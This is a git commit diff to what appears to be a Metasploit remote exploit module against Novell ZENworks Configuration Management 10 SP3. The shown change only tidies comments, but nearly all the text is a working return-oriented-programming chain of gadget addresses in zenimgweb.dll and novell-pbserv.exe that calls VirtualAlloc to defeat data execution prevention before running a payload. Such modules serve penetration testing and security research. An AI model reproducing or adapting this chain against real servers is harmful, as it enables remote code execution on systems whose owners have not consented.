unstable
jvazquez-r7 2012-07-19 15:53:47 +02:00
parent 83b7b90c61
commit d51209a3cf
1 changed files with 16 additions and 16 deletions

View File

@ -90,11 +90,11 @@ class Metasploit3 < Msf::Exploit::Remote
if target.name =~ /Novell ZENworks Configuration Management 10 SP3/
rop_gadgets =
[
0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN
0x00001000, # 0x00001000-> edx
0x100239df, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN ** [zenimgweb.dll]
0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x100239df, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
@ -103,18 +103,18 @@ class Metasploit3 < Msf::Exploit::Remote
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x1002a38f, # PUSH EAX # POP ESI # RETN ** [zenimgweb.dll]
0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]
0x10007b22, # & push esp # ret [zenimgweb.dll]
0x100235dc, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x0041961a, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1004702b, # POP EDI # RETN [zenimgweb.dll]
0x1001d001, # RETN (ROP NOP) [zenimgweb.dll]
0x10011217, # POP EAX # RETN [zenimgweb.dll]
0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]
0x10007b22, # & push esp # ret [zenimgweb.dll]
0x100235dc, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x0041961a, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1004702b, # POP EDI # RETN [zenimgweb.dll]
0x1001d001, # RETN (ROP NOP) [zenimgweb.dll]
0x10011217, # POP EAX # RETN [zenimgweb.dll]
nop,
0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]
0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")
else # Novell ZENworks Configuration Management 10 SP2
rop_gadgets =